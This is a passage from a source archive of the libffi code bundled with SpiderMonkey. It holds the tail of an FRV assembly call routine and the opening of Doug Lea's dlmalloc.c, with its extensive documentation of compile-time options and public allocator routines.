sp, #24, fp movsg lr, gr5 /* Make room for the new arguments. */ /* subi sp, fp, gr10 */ /* Store return address and incoming args on stack. */ sti gr5, @(fp, #8) sti gr8, @(fp, #-4) sti gr9, @(fp, #-8) sti gr10, @(fp, #-12) sti gr11, @(fp, #-16) sti gr12, @(fp, #-20) sti gr13, @(fp, #-24) sub sp, gr10, sp /* Call ffi_prep_args. */ ldi @(fp, #-4), gr4 addi sp, #0, gr8 ldi @(fp, #-8), gr9 #ifdef __FRV_FDPIC__ ldd @(gr4, gr0), gr14 calll @(gr14, gr0) #else calll @(gr4, gr0) #endif /* ffi_prep_args returns the new stack pointer. */ mov gr8, gr4 ldi @(sp, #0), gr8 ldi @(sp, #4), gr9 ldi @(sp, #8), gr10 ldi @(sp, #12), gr11 ldi @(sp, #16), gr12 ldi @(sp, #20), gr13 /* Always copy the return value pointer into the hidden parameter register. This is only strictly necessary when we're returning an aggregate type, but it doesn't hurt to do this all the time, and it saves a branch. */ ldi @(fp, #-20), gr3 /* Use the ffi_prep_args return value for the new sp. */ mov gr4, sp /* Call the target function. */ ldi @(fp, -24), gr4 #ifdef __FRV_FDPIC__ ldd @(gr4, gr0), gr14 calll @(gr14, gr0) #else calll @(gr4, gr0) #endif /* Store the result. */ ldi @(fp, #-16), gr10 /* fig->flags */ ldi @(fp, #-20), gr4 /* ecif.rvalue */ /* Is the return value stored in two registers? */ cmpi gr10, #8, icc0 bne icc0, 0, .L2 /* Yes, save them. */ sti gr8, @(gr4, #0) sti gr9, @(gr4, #4) bra .L3 .L2: /* Is the return value a structure? */ cmpi gr10, #-1, icc0 beq icc0, 0, .L3 /* No, save a 4 byte return value. */ sti gr8, @(gr4, #0) .L3: /* Restore the stack, and return. */ ldi @(fp, 8), gr5 ld @(fp, gr0), fp addi sp,#80,sp jmpl @(gr5,gr0) .size ffi_call_EABI, .-ffi_call_EABI mozjs17.0.0/js/src/ctypes/libffi/src/dlmalloc.c0000664000175000017500000054601612106270662021303 0ustar sstanglsstangl/* This is a version (aka dlmalloc) of malloc/free/realloc written by Doug Lea and released to the public domain, as explained at http://creativecommons.org/licenses/publicdomain. Send questions, comments, complaints, performance data, etc to dl@cs.oswego.edu * Version 2.8.3 Thu Sep 22 11:16:15 2005 Doug Lea (dl at gee) Note: There may be an updated version of this malloc obtainable at ftp://gee.cs.oswego.edu/pub/misc/malloc.c Check before installing! * Quickstart This library is all in one file to simplify the most common usage: ftp it, compile it (-O3), and link it into another program. All of the compile-time options default to reasonable values for use on most platforms. You might later want to step through various compile-time and dynamic tuning options. For convenience, an include file for code using this malloc is at: ftp://gee.cs.oswego.edu/pub/misc/malloc-2.8.3.h You don't really need this .h file unless you call functions not defined in your system include files. The .h file contains only the excerpts from this file needed for using this malloc on ANSI C/C++ systems, so long as you haven't changed compile-time options about naming and tuning parameters. If you do, then you can create your own malloc.h that does include all settings by cutting at the point indicated below. Note that you may already by default be using a C library containing a malloc that is based on some version of this malloc (for example in linux). You might still want to use the one in this file to customize settings or to avoid overheads associated with library versions. * Vital statistics: Supported pointer/size_t representation: 4 or 8 bytes size_t MUST be an unsigned type of the same width as pointers. (If you are using an ancient system that declares size_t as a signed type, or need it to be a different width than pointers, you can use a previous release of this malloc (e.g. 2.7.2) supporting these.) Alignment: 8 bytes (default) This suffices for nearly all current machines and C compilers. However, you can define MALLOC_ALIGNMENT to be wider than this if necessary (up to 128bytes), at the expense of using more space. Minimum overhead per allocated chunk: 4 or 8 bytes (if 4byte sizes) 8 or 16 bytes (if 8byte sizes) Each malloced chunk has a hidden word of overhead holding size and status information, and additional cross-check word if FOOTERS is defined. Minimum allocated size: 4-byte ptrs: 16 bytes (including overhead) 8-byte ptrs: 32 bytes (including overhead) Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size. The maximum overhead wastage (i.e., number of extra bytes allocated than were requested in malloc) is less than or equal to the minimum size, except for requests >= mmap_threshold that are serviced via mmap(), where the worst case wastage is about 32 bytes plus the remainder from a system page (the minimal mmap unit); typically 4096 or 8192 bytes. Security: static-safe; optionally more or less The "security" of malloc refers to the ability of malicious code to accentuate the effects of errors (for example, freeing space that is not currently malloc'ed or overwriting past the ends of chunks) in code that calls malloc. This malloc guarantees not to modify any memory locations below the base of heap, i.e., static variables, even in the presence of usage errors. The routines additionally detect most improper frees and reallocs. All this holds as long as the static bookkeeping for malloc itself is not corrupted by some other means. This is only one aspect of security -- these checks do not, and cannot, detect all possible programming errors. If FOOTERS is defined nonzero, then each allocated chunk carries an additional check word to verify that it was malloced from its space. These check words are the same within each execution of a program using malloc, but differ across executions, so externally crafted fake chunks cannot be freed. This improves security by rejecting frees/reallocs that could corrupt heap memory, in addition to the checks preventing writes to statics that are always on. This may further improve security at the expense of time and space overhead. (Note that FOOTERS may also be worth using with MSPACES.) By default detected errors cause the program to abort (calling "abort()"). You can override this to instead proceed past errors by defining PROCEED_ON_ERROR. In this case, a bad free has no effect, and a malloc that encounters a bad address caused by user overwrites will ignore the bad address by dropping pointers and indices to all known memory. This may be appropriate for programs that should continue if at all possible in the face of programming errors, although they may run out of memory because dropped memory is never reclaimed. If you don't like either of these options, you can define CORRUPTION_ERROR_ACTION and USAGE_ERROR_ACTION to do anything else. And if if you are sure that your program using malloc has no errors or vulnerabilities, you can define INSECURE to 1, which might (or might not) provide a small performance improvement. Thread-safety: NOT thread-safe unless USE_LOCKS defined When USE_LOCKS is defined, each public call to malloc, free, etc is surrounded with either a pthread mutex or a win32 spinlock (depending on WIN32). This is not especially fast, and can be a major bottleneck. It is designed only to provide minimal protection in concurrent environments, and to provide a basis for extensions. If you are using malloc in a concurrent program, consider instead using ptmalloc, which is derived from a version of this malloc. (See http://www.malloc.de). System requirements: Any combination of MORECORE and/or MMAP/MUNMAP This malloc can use unix sbrk or any emulation (invoked using the CALL_MORECORE macro) and/or mmap/munmap or any emulation (invoked using CALL_MMAP/CALL_MUNMAP) to get and release system memory. On most unix systems, it tends to work best if both MORECORE and MMAP are enabled. On Win32, it uses emulations based on VirtualAlloc. It also uses common C library functions like memset. Compliance: I believe it is compliant with the Single Unix Specification (See http://www.unix.org). Also SVID/XPG, ANSI C, and probably others as well. * Overview of algorithms This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs. In most ways, this malloc is a best-fit allocator. Generally, it chooses the best-fitting existing chunk for a request, with ties broken in approximately least-recently-used order. (This strategy normally maintains low fragmentation.) However, for requests less than 256bytes, it deviates from best-fit when there is not an exactly fitting available chunk by preferring to use space adjacent to that used for the previous small request, as well as by breaking ties in approximately most-recently-used order. (These enhance locality of series of small allocations.) And for very large requests (>= 256Kb by default), it relies on system memory mapping facilities, if supported. (This helps avoid carrying around and possibly fragmenting memory used only for large chunks.) All operations (except malloc_stats and mallinfo) have execution times that are bounded by a constant factor of the number of bits in a size_t, not counting any clearing in calloc or copying in realloc, or actions surrounding MORECORE and MMAP that have times proportional to the number of non-contiguous regions returned by system allocation routines, which is often just 1. The implementation is not very modular and seriously overuses macros. Perhaps someday all C compilers will do as good a job inlining modular code as can now be done by brute-force expansion, but now, enough of them seem not to. Some compilers issue a lot of warnings about code that is dead/unreachable only on some platforms, and also about intentional uses of negation on unsigned types. All known cases of each can be ignored. For a longer but out of date high-level description, see http://gee.cs.oswego.edu/dl/html/malloc.html * MSPACES If MSPACES is defined, then in addition to malloc, free, etc., this file also defines mspace_malloc, mspace_free, etc. These are versions of malloc routines that take an "mspace" argument obtained using create_mspace, to control all internal bookkeeping. If ONLY_MSPACES is defined, only these versions are compiled. So if you would like to use this allocator for only some allocations, and your system malloc for others, you can compile with ONLY_MSPACES and then do something like... static mspace mymspace = create_mspace(0,0); // for example #define mymalloc(bytes) mspace_malloc(mymspace, bytes) (Note: If you only need one instance of an mspace, you can instead use "USE_DL_PREFIX" to relabel the global malloc.) You can similarly create thread-local allocators by storing mspaces as thread-locals. For example: static __thread mspace tlms = 0; void* tlmalloc(size_t bytes) { if (tlms == 0) tlms = create_mspace(0, 0); return mspace_malloc(tlms, bytes); } void tlfree(void* mem) { mspace_free(tlms, mem); } Unless FOOTERS is defined, each mspace is completely independent. You cannot allocate from one and free to another (although conformance is only weakly checked, so usage errors are not always caught). If FOOTERS is defined, then each chunk carries around a tag indicating its originating mspace, and frees are directed to their originating spaces. ------------------------- Compile-time options --------------------------- Be careful in setting #define values for numerical constants of type size_t. On some systems, literal values are not automatically extended to size_t precision unless they are explicitly casted. WIN32 default: defined if _WIN32 defined Defining WIN32 sets up defaults for MS environment and compilers. Otherwise defaults are for unix. MALLOC_ALIGNMENT default: (size_t)8 Controls the minimum alignment for malloc'ed chunks. It must be a power of two and at least 8, even on machines for which smaller alignments would suffice. It may be defined as larger than this though. Note however that code and data structures are optimized for the case of 8-byte alignment. MSPACES default: 0 (false) If true, compile in support for independent allocation spaces. This is only supported if HAVE_MMAP is true. ONLY_MSPACES default: 0 (false) If true, only compile in mspace versions, not regular versions. USE_LOCKS default: 0 (false) Causes each call to each public routine to be surrounded with pthread or WIN32 mutex lock/unlock. (If set true, this can be overridden on a per-mspace basis for mspace versions.) FOOTERS default: 0 If true, provide extra checking and dispatching by placing information in the footers of allocated chunks. This adds space and time overhead. INSECURE default: 0 If true, omit checks for usage errors and heap space overwrites. USE_DL_PREFIX default: NOT defined Causes compiler to prefix all public routines with the string 'dl'. This can be useful when you only want to use this malloc in one part of a program, using your regular system malloc elsewhere. ABORT default: defined as abort() Defines how to abort on failed checks. On most systems, a failed check cannot die with an "assert" or even print an informative message, because the underlying print routines in turn call malloc, which will fail again. Generally, the best policy is to simply call abort(). It's not very useful to do more than this because many errors due to overwriting will show up as address faults (null, odd addresses etc) rather than malloc-triggered checks, so will also abort. Also, most compilers know that abort() does not return, so can better optimize code conditionally calling it. PROCEED_ON_ERROR default: defined as 0 (false) Controls whether detected bad addresses cause them to bypassed rather than aborting. If set, detected bad arguments to free and realloc are ignored. And all bookkeeping information is zeroed out upon a detected overwrite of freed heap space, thus losing the ability to ever return it from malloc again, but enabling the application to proceed. If PROCEED_ON_ERROR is defined, the static variable malloc_corruption_error_count is compiled in and can be examined to see if errors have occurred. This option generates slower code than the default abort policy. DEBUG default: NOT defined The DEBUG setting is mainly intended for people trying to modify this code or diagnose problems when porting to new platforms. However, it may also be able to better isolate user errors than just using runtime checks. The assertions in the check routines spell out in more detail the assumptions and invariants underlying the algorithms. The checking is fairly extensive, and will slow down execution noticeably. Calling malloc_stats or mallinfo with DEBUG set will attempt to check every non-mmapped allocated and free chunk in the course of computing the summaries. ABORT_ON_ASSERT_FAILURE default: defined as 1 (true) Debugging assertion failures can be nearly impossible if your version of the assert macro causes malloc to be called, which will lead to a cascade of further failures, blowing the runtime stack. ABORT_ON_ASSERT_FAILURE cause assertions failures to call abort(), which will usually make debugging easier. MALLOC_FAILURE_ACTION default: sets errno to ENOMEM, or no-op on win32 The action to take before "return 0" when malloc fails to be able to return memory because there is none available. HAVE_MORECORE default: 1 (true) unless win32 or ONLY_MSPACES True if this system supports sbrk or an emulation of it. MORECORE default: sbrk The name of the sbrk-style system routine to call to obtain more memory. See below for guidance on writing custom MORECORE functions. The type of the argument to sbrk/MORECORE varies across systems. It cannot be size_t, because it supports negative arguments, so it is normally the signed type of the same width as size_t (sometimes declared as "intptr_t"). It doesn't much matter though. Internally, we only call it with arguments less than half the max value of a size_t, which should work across all reasonable possibilities, although sometimes generating compiler warnings. See near the end of this file for guidelines for creating a custom version of MORECORE. MORECORE_CONTIGUOUS default: 1 (true) If true, take advantage of fact that consecutive calls to MORECORE with positive arguments always return contiguous increasing addresses. This is true of unix sbrk. It does not hurt too much to set it true anyway, since malloc copes with non-contiguities. Setting it false when definitely non-contiguous saves time and possibly wasted space it would take to discover this though. MORECORE_CANNOT_TRIM default: NOT defined True if MORECORE cannot release space back to the system when given negative arguments. This is generally necessary only if you are using a hand-crafted MORECORE function that cannot handle negative arguments. HAVE_MMAP default: 1 (true) True if this system supports mmap or an emulation of it. If so, and HAVE_MORECORE is not true, MMAP is used for all system allocation. If set and HAVE_MORECORE is true as well, MMAP is primarily used to directly allocate very large blocks. It is also used as a backup strategy in cases where MORECORE fails to provide space from system. Note: A single call to MUNMAP is assumed to be able to unmap memory that may have be allocated using multiple calls to MMAP, so long as they are adjacent. HAVE_MREMAP default: 1 on linux, else 0 If true realloc() uses mremap() to re-allocate large blocks and extend or shrink allocation spaces. MMAP_CLEARS default: 1 on unix True if mmap clears memory so calloc doesn't need to. This is true for standard unix mmap using /dev/zero. USE_BUILTIN_FFS default: 0 (i.e., not used) Causes malloc to use the builtin ffs() function to compute indices. Some compilers may recognize and intrinsify ffs to be faster than the supplied C version. Also, the case of x86 using gcc is special-cased to an asm instruction, so is already as fast as it can be, and so this setting has no effect. (On most x86s, the asm version is only slightly faster than the C version.) malloc_getpagesize default: derive from system includes, or 4096. The system page size. To the extent possible, this malloc manages memory from the system in page-size units. This may be (and usually is) a function rather than a constant. This is ignored if WIN32, where page size is determined using getSystemInfo during initialization. USE_DEV_RANDOM default: 0 (i.e., not used) Causes malloc to use /dev/random to initialize secure magic seed for stamping footers. Otherwise, the current time is used. NO_MALLINFO default: 0 If defined, don't compile "mallinfo". This can be a simple way of dealing with mismatches between system declarations and those in this file. MALLINFO_FIELD_TYPE default: size_t The type of the fields in the mallinfo struct. This was originally defined as "int" in SVID etc, but is more usefully defined as size_t. The value is used only if HAVE_USR_INCLUDE_MALLOC_H is not set REALLOC_ZERO_BYTES_FREES default: not defined This should be set if a call to realloc with zero bytes should be the same as a call to free. Some people think it should. Otherwise, since this malloc returns a unique pointer for malloc(0), so does realloc(p, 0). LACKS_UNISTD_H, LACKS_FCNTL_H, LACKS_SYS_PARAM_H, LACKS_SYS_MMAN_H LACKS_STRINGS_H, LACKS_STRING_H, LACKS_SYS_TYPES_H, LACKS_ERRNO_H LACKS_STDLIB_H default: NOT defined unless on WIN32 Define these if your system does not have these header files. You might need to manually insert some of the declarations they provide. DEFAULT_GRANULARITY default: page size if MORECORE_CONTIGUOUS, system_info.dwAllocationGranularity in WIN32, otherwise 64K. Also settable using mallopt(M_GRANULARITY, x) The unit for allocating and deallocating memory from the system. On most systems with contiguous MORECORE, there is no reason to make this more than a page. However, systems with MMAP tend to either require or encourage larger granularities. You can increase this value to prevent system allocation functions to be called so often, especially if they are slow. The value must be at least one page and must be a power of two. Setting to 0 causes initialization to either page size or win32 region size. (Note: In previous versions of malloc, the equivalent of this option was called "TOP_PAD") DEFAULT_TRIM_THRESHOLD default: 2MB Also settable using mallopt(M_TRIM_THRESHOLD, x) The maximum amount of unused top-most memory to keep before releasing via malloc_trim in free(). Automatic trimming is mainly useful in long-lived programs using contiguous MORECORE. Because trimming via sbrk can be slow on some systems, and can sometimes be wasteful (in cases where programs immediately afterward allocate more large chunks) the value should be high enough so that your overall system performance would improve by releasing this much memory. As a rough guide, you might set to a value close to the average size of a process (program) running on your system. Releasing this much memory would allow such a process to run in memory. Generally, it is worth tuning trim thresholds when a program undergoes phases where several large chunks are allocated and released in ways that can reuse each other's storage, perhaps mixed with phases where there are no such chunks at all. The trim value must be greater than page size to have any useful effect. To disable trimming completely, you can set to MAX_SIZE_T. Note that the trick some people use of mallocing a huge space and then freeing it at program startup, in an attempt to reserve system memory, doesn't have the intended effect under automatic trimming, since that memory will immediately be returned to the system. DEFAULT_MMAP_THRESHOLD default: 256K Also settable using mallopt(M_MMAP_THRESHOLD, x) The request size threshold for using MMAP to directly service a request. Requests of at least this size that cannot be allocated using already-existing space will be serviced via mmap. (If enough normal freed space already exists it is used instead.) Using mmap segregates relatively large chunks of memory so that they can be individually obtained and released from the host system. A request serviced through mmap is never reused by any other request (at least not directly; the system may just so happen to remap successive requests to the same locations). Segregating space in this way has the benefits that: Mmapped space can always be individually released back to the system, which helps keep the system level memory demands of a long-lived program low. Also, mapped memory doesn't become `locked' between other chunks, as can happen with normally allocated chunks, which means that even trimming via malloc_trim would not release them. However, it has the disadvantage that the space cannot be reclaimed, consolidated, and then used to service later requests, as happens with normal chunks. The advantages of mmap nearly always outweigh disadvantages for "large" chunks, but the value of "large" may vary across systems. The default is an empirically derived value that works well in most systems. You can disable mmap by setting to MAX_SIZE_T. */ #ifndef WIN32 #ifdef _WIN32 #define WIN32 1 #endif /* _WIN32 */ #endif /* WIN32 */ #ifdef WIN32 #define WIN32_LEAN_AND_MEAN #include #define HAVE_MMAP 1 #define HAVE_MORECORE 0 #define LACKS_UNISTD_H #define LACKS_SYS_PARAM_H #define LACKS_SYS_MMAN_H #define LACKS_STRING_H #define LACKS_STRINGS_H #define LACKS_SYS_TYPES_H #define LACKS_ERRNO_H #define MALLOC_FAILURE_ACTION #define MMAP_CLEARS 0 /* WINCE and some others apparently don't clear */ #endif /* WIN32 */ #ifdef __OS2__ #define INCL_DOS #include #define HAVE_MMAP 1 #define HAVE_MORECORE 0 #define LACKS_SYS_MMAN_H #endif /* __OS2__ */ #if defined(DARWIN) || defined(_DARWIN) /* Mac OSX docs advise not to use sbrk; it seems better to use mmap */ #ifndef HAVE_MORECORE #define HAVE_MORECORE 0 #define HAVE_MMAP 1 #endif /* HAVE_MORECORE */ #endif /* DARWIN */ #ifndef LACKS_SYS_TYPES_H #include /* For size_t */ #endif /* LACKS_SYS_TYPES_H */ /* The maximum possible size_t value has all bits set */ #define MAX_SIZE_T (~(size_t)0) #ifndef ONLY_MSPACES #define ONLY_MSPACES 0 #endif /* ONLY_MSPACES */ #ifndef MSPACES #if ONLY_MSPACES #define MSPACES 1 #else /* ONLY_MSPACES */ #define MSPACES 0 #endif /* ONLY_MSPACES */ #endif /* MSPACES */ #ifndef MALLOC_ALIGNMENT #define MALLOC_ALIGNMENT ((size_t)8U) #endif /* MALLOC_ALIGNMENT */ #ifndef FOOTERS #define FOOTERS 0 #endif /* FOOTERS */ #ifndef ABORT #define ABORT abort() #endif /* ABORT */ #ifndef ABORT_ON_ASSERT_FAILURE #define ABORT_ON_ASSERT_FAILURE 1 #endif /* ABORT_ON_ASSERT_FAILURE */ #ifndef PROCEED_ON_ERROR #define PROCEED_ON_ERROR 0 #endif /* PROCEED_ON_ERROR */ #ifndef USE_LOCKS #define USE_LOCKS 0 #endif /* USE_LOCKS */ #ifndef INSECURE #define INSECURE 0 #endif /* INSECURE */ #ifndef HAVE_MMAP #define HAVE_MMAP 1 #endif /* HAVE_MMAP */ #ifndef MMAP_CLEARS #define MMAP_CLEARS 1 #endif /* MMAP_CLEARS */ #ifndef HAVE_MREMAP #ifdef linux #define HAVE_MREMAP 1 #else /* linux */ #define HAVE_MREMAP 0 #endif /* linux */ #endif /* HAVE_MREMAP */ #ifndef MALLOC_FAILURE_ACTION #define MALLOC_FAILURE_ACTION errno = ENOMEM; #endif /* MALLOC_FAILURE_ACTION */ #ifndef HAVE_MORECORE #if ONLY_MSPACES #define HAVE_MORECORE 0 #else /* ONLY_MSPACES */ #define HAVE_MORECORE 1 #endif /* ONLY_MSPACES */ #endif /* HAVE_MORECORE */ #if !HAVE_MORECORE #define MORECORE_CONTIGUOUS 0 #else /* !HAVE_MORECORE */ #ifndef MORECORE #define MORECORE sbrk #endif /* MORECORE */ #ifndef MORECORE_CONTIGUOUS #define MORECORE_CONTIGUOUS 1 #endif /* MORECORE_CONTIGUOUS */ #endif /* HAVE_MORECORE */ #ifndef DEFAULT_GRANULARITY #if MORECORE_CONTIGUOUS #define DEFAULT_GRANULARITY (0) /* 0 means to compute in init_mparams */ #else /* MORECORE_CONTIGUOUS */ #define DEFAULT_GRANULARITY ((size_t)64U * (size_t)1024U) #endif /* MORECORE_CONTIGUOUS */ #endif /* DEFAULT_GRANULARITY */ #ifndef DEFAULT_TRIM_THRESHOLD #ifndef MORECORE_CANNOT_TRIM #define DEFAULT_TRIM_THRESHOLD ((size_t)2U * (size_t)1024U * (size_t)1024U) #else /* MORECORE_CANNOT_TRIM */ #define DEFAULT_TRIM_THRESHOLD MAX_SIZE_T #endif /* MORECORE_CANNOT_TRIM */ #endif /* DEFAULT_TRIM_THRESHOLD */ #ifndef DEFAULT_MMAP_THRESHOLD #if HAVE_MMAP #define DEFAULT_MMAP_THRESHOLD ((size_t)256U * (size_t)1024U) #else /* HAVE_MMAP */ #define DEFAULT_MMAP_THRESHOLD MAX_SIZE_T #endif /* HAVE_MMAP */ #endif /* DEFAULT_MMAP_THRESHOLD */ #ifndef USE_BUILTIN_FFS #define USE_BUILTIN_FFS 0 #endif /* USE_BUILTIN_FFS */ #ifndef USE_DEV_RANDOM #define USE_DEV_RANDOM 0 #endif /* USE_DEV_RANDOM */ #ifndef NO_MALLINFO #define NO_MALLINFO 0 #endif /* NO_MALLINFO */ #ifndef MALLINFO_FIELD_TYPE #define MALLINFO_FIELD_TYPE size_t #endif /* MALLINFO_FIELD_TYPE */ /* mallopt tuning options. SVID/XPG defines four standard parameter numbers for mallopt, normally defined in malloc.h. None of these are used in this malloc, so setting them has no effect. But this malloc does support the following options. */ #define M_TRIM_THRESHOLD (-1) #define M_GRANULARITY (-2) #define M_MMAP_THRESHOLD (-3) /* ------------------------ Mallinfo declarations ------------------------ */ #if !NO_MALLINFO /* This version of malloc supports the standard SVID/XPG mallinfo routine that returns a struct containing usage properties and statistics. It should work on any system that has a /usr/include/malloc.h defining struct mallinfo. The main declaration needed is the mallinfo struct that is returned (by-copy) by mallinfo(). The malloinfo struct contains a bunch of fields that are not even meaningful in this version of malloc. These fields are are instead filled by mallinfo() with other numbers that might be of interest. HAVE_USR_INCLUDE_MALLOC_H should be set if you have a /usr/include/malloc.h file that includes a declaration of struct mallinfo. If so, it is included; else a compliant version is declared below. These must be precisely the same for mallinfo() to work. The original SVID version of this struct, defined on most systems with mallinfo, declares all fields as ints. But some others define as unsigned long. If your system defines the fields using a type of different width than listed here, you MUST #include your system version and #define HAVE_USR_INCLUDE_MALLOC_H. */ /* #define HAVE_USR_INCLUDE_MALLOC_H */ #ifdef HAVE_USR_INCLUDE_MALLOC_H #include "/usr/include/malloc.h" #else /* HAVE_USR_INCLUDE_MALLOC_H */ struct mallinfo { MALLINFO_FIELD_TYPE arena; /* non-mmapped space allocated from system */ MALLINFO_FIELD_TYPE ordblks; /* number of free chunks */ MALLINFO_FIELD_TYPE smblks; /* always 0 */ MALLINFO_FIELD_TYPE hblks; /* always 0 */ MALLINFO_FIELD_TYPE hblkhd; /* space in mmapped regions */ MALLINFO_FIELD_TYPE usmblks; /* maximum total allocated space */ MALLINFO_FIELD_TYPE fsmblks; /* always 0 */ MALLINFO_FIELD_TYPE uordblks; /* total allocated space */ MALLINFO_FIELD_TYPE fordblks; /* total free space */ MALLINFO_FIELD_TYPE keepcost; /* releasable (via malloc_trim) space */ }; #endif /* HAVE_USR_INCLUDE_MALLOC_H */ #endif /* NO_MALLINFO */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ #if !ONLY_MSPACES /* ------------------- Declarations of public routines ------------------- */ #ifndef USE_DL_PREFIX #define dlcalloc calloc #define dlfree free #define dlmalloc malloc #define dlmemalign memalign #define dlrealloc realloc #define dlvalloc valloc #define dlpvalloc pvalloc #define dlmallinfo mallinfo #define dlmallopt mallopt #define dlmalloc_trim malloc_trim #define dlmalloc_stats malloc_stats #define dlmalloc_usable_size malloc_usable_size #define dlmalloc_footprint malloc_footprint #define dlmalloc_max_footprint malloc_max_footprint #define dlindependent_calloc independent_calloc #define dlindependent_comalloc independent_comalloc #endif /* USE_DL_PREFIX */ /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available, in which case errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minimum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 32 bytes on 64bit systems.) Note that size_t is an unsigned type, so calls with arguments that would be negative if signed are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ void* dlmalloc(size_t); /* free(void* p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc. It has no effect if p is null. If p was not malloced or already freed, free(p) will by default cause the current program to abort. */ void dlfree(void*); /* calloc(size_t n_elements, size_t element_size); Returns a pointer to n_elements * element_size bytes, with all locations set to zero. */ void* dlcalloc(size_t, size_t); /* realloc(void* p, size_t n) Returns a pointer to a chunk of size n that contains the same data as does chunk p up to the minimum of (n, p's size) bytes, or null if no space is available. The returned pointer may or may not be the same as p. The algorithm prefers extending p in most cases when possible, otherwise it employs the equivalent of a malloc-copy-free sequence. If p is null, realloc is equivalent to malloc. If space is not available, realloc returns null, errno is set (if on ANSI) and p is NOT freed. if n is for fewer bytes than already held by p, the newly unused space is lopped off and freed if possible. realloc with a size argument of zero (re)allocates a minimum-sized chunk. The old unix realloc convention of allowing the last-free'd chunk to be used as an argument to realloc is not supported. */ void* dlrealloc(void*, size_t); /* memalign(size_t alignment, size_t n); Returns a pointer to a newly allocated chunk of n bytes, aligned in accord with the alignment argument. The alignment argument should be a power of two. If the argument is not a power of two, the nearest greater power is used. 8-byte alignment is guaranteed by normal malloc calls, so don't bother calling memalign with an argument of 8 or less. Overreliance on memalign is a sure way to fragment space. */ void* dlmemalign(size_t, size_t); /* valloc(size_t n); Equivalent to memalign(pagesize, n), where pagesize is the page size of the system. If the pagesize is unknown, 4096 is used. */ void* dlvalloc(size_t); /* mallopt(int parameter_number, int parameter_value) Sets tunable parameters The format is to provide a (parameter-number, parameter-value) pair. mallopt then sets the corresponding parameter to the argument value if it can (i.e., so long as the value is meaningful), and returns 1 if successful else 0. SVID/XPG/ANSI defines four standard param numbers for mallopt, normally defined in malloc.h. None of these are use in this malloc, so setting them has no effect. But this malloc also supports other options in mallopt. See below for details. Briefly, supported parameters are as follows (listed defaults are for "typical" configurations). Symbol param # default allowed param values M_TRIM_THRESHOLD -1 2*1024*1024 any (MAX_SIZE_T disables) M_GRANULARITY -2 page size any power of 2 >= page size M_MMAP_THRESHOLD -3 256*1024 any (or 0 if no MMAP support) */ int dlmallopt(int, int); /* malloc_footprint(); Returns the number of bytes obtained from the system. The total number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ size_t dlmalloc_footprint(void); /* malloc_max_footprint(); Returns the maximum number of bytes obtained from the system. This value will be greater than current footprint if deallocated space has been reclaimed by the system. The peak number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ size_t dlmalloc_max_footprint(void); #if !NO_MALLINFO /* mallinfo() Returns (by copy) a struct containing various summary statistics: arena: current total non-mmapped bytes allocated from system ordblks: the number of free chunks smblks: always zero. hblks: current number of mmapped regions hblkhd: total bytes held in mmapped regions usmblks: the maximum total allocated space. This will be greater than current total if trimming has occurred. fsmblks: always zero uordblks: current total allocated space (normal or mmapped) fordblks: total free space keepcost: the maximum number of bytes that could ideally be released back to system via malloc_trim. ("ideally" means that it ignores page restrictions etc.) Because these fields are ints, but internal bookkeeping may be kept as longs, the reported values may wrap around zero and thus be inaccurate. */ struct mallinfo dlmallinfo(void); #endif /* NO_MALLINFO */ /* independent_calloc(size_t n_elements, size_t element_size, void* chunks[]); independent_calloc is similar to calloc, but instead of returning a single cleared space, it returns an array of pointers to n_elements independent elements that can hold contents of size elem_size, each of which starts out cleared, and can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null, which is probably the most typical usage). If it is null, the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_calloc returns this pointer array, or null if the allocation failed. If n_elements is zero and "chunks" is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be individually freed when it is no longer needed. If you'd like to instead be able to free all at once, you should instead use regular calloc and assign pointers into this space to represent elements. (In this case though, you cannot independently free elements.) independent_calloc simplifies and speeds up implementations of many kinds of pools. It may also be useful when constructing large data structures that initially have a fixed number of fixed-sized nodes, but the number is not known at compile time, and some of the nodes may later need to be freed. For example: struct Node { int item; struct Node* next; }; struct Node* build_list() { struct Node** pool; int n = read_number_of_nodes_needed(); if (n <= 0) return 0; pool = (struct Node**)(independent_calloc(n, sizeof(struct Node), 0); if (pool == 0) die(); // organize into a linked list... struct Node* first = pool[0]; for (i = 0; i < n-1; ++i) pool[i]->next = pool[i+1]; free(pool); // Can now free the array (or not, if it is needed later) return first; } */ void** dlindependent_calloc(size_t, size_t, void**); /* independent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]); independent_comalloc allocates, all at once, a set of n_elements chunks with sizes indicated in the "sizes" array. It returns an array of pointers to these elements, each of which can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null). If it is null the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_comalloc returns this pointer array, or null if the allocation failed. If n_elements is zero and chunks is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be individually freed when it is no longer needed. If you'd like to instead be able to free all at once, you should instead use a single regular malloc, and assign pointers at particular offsets in the aggregate space. (In this case though, you cannot independently free elements.) independent_comallac differs from independent_calloc in that each element may have a different size, and also that it does not automatically clear elements. independent_comalloc can be used to speed up allocation in cases where several structs or 